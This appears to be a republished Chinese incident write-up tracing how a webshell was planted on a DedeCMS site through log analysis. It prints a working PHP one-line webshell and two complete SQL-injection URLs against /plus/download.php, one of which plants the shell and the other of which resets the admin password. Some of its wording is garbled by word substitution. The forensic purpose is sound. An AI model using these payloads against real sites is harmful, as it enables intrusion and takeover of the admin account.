DeDeCMS网站中木马分析追查一例

Dedecms网站中木马分析追查一例》要点:
本文介绍了Dedecms网站中木马分析追查一例,希望对您有用。如果有疑问,可以联系我们。

编程之家PHP培训学院每天发布《Dedecms网站中木马分析追查一例》等实战技能,PHPMysqL、LINUX、APP、JS,CSS全面培养人才。

客户一个网站,木马查杀过程发现被上传了木马文件,木马文件毕竟是如何来的?通过针对日志分析找到了原因,整理成此文,希望对一些建站朋友能够有用.

一、木马扫描:使用D盾木马查杀工具,很简单,扫描结果如下:

DeDeCMS网站中木马分析追查一例

收集信息:

  1. 查看了一下laobiao.PHP文件内容

<?PHP $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx

很明显一句话木马;

2.查看laobiao.PHP文件生成时间:2016年10月23日 16::23:48

注意】Windows主机:使用FTP客户端只能查看到文件的最后修改时间,查看生成时间需要登录服务器右键属性查看.(如果使用虚拟主机向系统管理员寻求赞助)

二、追查木马来源:

  1. 查看FTP日志:判断是否由FTP暗码泄露导致;

    查看10月22、10月23、10月24日前后三天日志,未发现FTP账号登录记录,排除FTP途径;

    IIS自带的FTP日志路径:C:\WINDOWS\system32\LogFiles\MSFTPSVC1

    建议】FTP暗码一定要健壮,一般虚拟主机都提供FTP开关功能,原则:使用的时候开启,不使用的时候关闭.很多人因为怕麻烦,暗码设置的又简单,容易被暴力破解而导致网站被侵入挂马

  2. 查看IIS日志:

    首先查看10月23日IIS拜访日志:

    搜索:laobiao.PHP

    2016-10-23 08:23:48 W3SVC220 192.168.1.5 POST /plus/laobiao.PHP - 80 - 14.111.122.77 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/27.0.1453.93+Safari/537.36 200 0 0 119 361 125

    这里可看到IP:14.111.122.77 在2016年10月23日 16:23:48【注意:日志记录时间与实际时间相差8小时,因此加8后就是16:23:48】使用POST方式拜访了/plus/laobiao.PHP页面,拜访状态为200,说明此时文件已经存在,而且与文件生成时间相吻合;

  3. 根据拜访IP进行搜索

    搜索14.111.122.77这个IP在10月23日当天所有拜访记录,然后将该部分记录截取出来进行分析【日志记录太多,截取出来减少干扰内容】:

    DeDeCMS网站中木马分析追查一例

从上图可看出进行了多次尝试,最终在第18、19行拜访后生成了laobiao.PHP文件,第18行内容如下:

/plus/download.PHP?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44

实质上拜访如上链接:http://www.xxx.com/plus/download.PHP?open=1&c=d&arrs1[]……arrs2[]=51&arrs2[]=32&arrs2[]=44后,会在dede_myad表中normbody字段插入数据,见下图:

DeDeCMS网站中木马分析追查一例

DeDeCMS网站中木马分析追查一例

然后再拜访第19行所示页面链接:/plus/ad_js.PHP?aid=3&nocache=1就会在plus目录生成laobiao.PHP文件

总结说明】至此木马文件laobiao.PHP的来源已经搞清楚了,后证实该网站还可直接通过访问特殊链接更改管理员暗码】危害也较大(后续有说明),在此过程中进行了大量测试,由于篇幅就不多写了,过程中的技巧说明一下:

  1. 上边提到的插入数据库拜访链接,经过大量测试发现后期执行均不成功,网络上搜索了一下有人说如果执行成功过,后期就不会成功,可以通过变换aid【链接中倒数第三个arrs2[]的数值】来测试,测试更改后仍不成功;

  2. *_safe.txt文件】测试过程Dedecms显示如下:按道理说应该是打了补丁比较平安的,不清楚第一次为什么会成功.

    Safe Alert: Request Error step 2!

    此时会在data目录中类似*_safe.txt文件中记录拜访的记录,后续的拜访均会记录,查看之前的*_safe.txt文件内容,当时没有上述链接的记录,因此判断可能第一次会成功,后续不会再成功.

    记录内容类似如下图:

    DeDeCMS网站中木马分析追查一例

  3. 如上图所示,记录中会显示出执行的sql语句,也是以此最终判断木马文件生成的办法的.

    内容如下:

    /plus/download.PHP?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44|| INSERT INTO `dede_myad` SET normbody='<?PHP file_put_contents(''laobiao.PHP'',''<?PHP $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx'');?>' where aid =3,downloads`(`hash`,`id`,`downloads`) VALUES('******d98f00b****9800998ec******','0',1); ||unusual character

  4. 更改管理员暗码】虽然后续无法使用如上链接再次生成木马文件,但是此网站同样可以通过访问特殊链接更改管理员暗码:

    /plus/download.PHP?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

    虽然拜访后仍然显示:Safe Alert: Request Error step 2!而且*_safe.txt文件中也会记录,如下:

    /plus/download.PHP?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35|| INSERT INTO `dede_admin` SET `userid`='spider',`pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`downloads`) VALUES('****d98f00b204e9800998ecf84***',1);||comment detect

    但是经过测试确实可以修改管理员暗码为:spider admin

    md5暗码说明Dedecms的暗码20位字串,可通过后剪1位,前剪3位得到16位md5加密密文,例如:f297a57a5a743894a0e4 得到16位md5:7a57a5a743894a0e

  5. Dedecms版本】该网站Dedecms版本:

    data\admin\ver.txt中查看:20160906

    /include/common.inc.PHP文件中:$cfg_version = 'V57_UTF8_SP1';

    由此可知该网站版本为:V57_SP1版本,更新日期为:20160906【也不作为唯一判断依据,不必定是那个版本的.】

    后来下载了最新版的Dedecms版本:20160928 V57_UTF8_SP1,测试拜访上述两条链接均不成功.不显示【Safe Alert: Request Error step 2!】而且也没有*_safe.txt文件生成.因此建议升级为最新版.

最后关于网站平安的一点建议】其实大家都知道Dedecms之前爆出了很多的漏洞致使很多网站被侵入挂马篡改等,虽然Dedecms也不断出补丁进行修复漏洞,为什么还会有很多网站中招呢?究其原因,最重要的无非【没有平安意识】,其实最最重要的就是提高【平安意识】,最后给出几点建议:

  1. 暗码健壮:杜绝弱口令,防止暴力破解;通过FTP弱口令、后台登录弱口令侵入的不在少数.

  2. 勤管理,勤打补丁:要能及时发现问题,及时处理问题,遇到过很多网站被侵入后发现的时候已经是大半年之后了,有些日志已经都删除掉了,没方法追查具体来源;一旦网站被挂马一定要明白大多数所谓的【挂马】是通过【木马】文件进行的一个动作,也就是通过【木马】文件进行篡改网站文件来【挂马】的.很多人在网站被篡改后只是将页面修复,删除插入的恶意链接之类,但是并没有清除木马文件,而导致【挂马】频繁发生.因此一定要清理挂马代码,清理木马后门文件,两个步骤走.当然,最好是能修复漏洞杜绝后患.

  3. 具体到Dedecms建议更改后台登录目录名称、打上最新补丁,参照官方提供的一些平安措施进行处理.

  4. 平安设置一个重要原则,【可写目录不可执行脚本,可执行脚本的目录不给写权限】,可根据程序具体情况设置.

  5. 千万不要怕麻烦,勤备份,有备能力无患.

相关文章

1、想好字段名! 这里取一个test 商品发布模板:post_trad...
一、后台 → 全局 → 关闭站点(为了不影响数据库备...
<?php /** [Discuz!] (C) 2001-2099 Comsenz Inc. con...
今天给大家讲讲 如何把已经切割好的html页面或者模仿的页面转...
打开网站根目录下/template/default/common header_common....
打开网站根目录/source/module/portal/portal_list.php搜 c...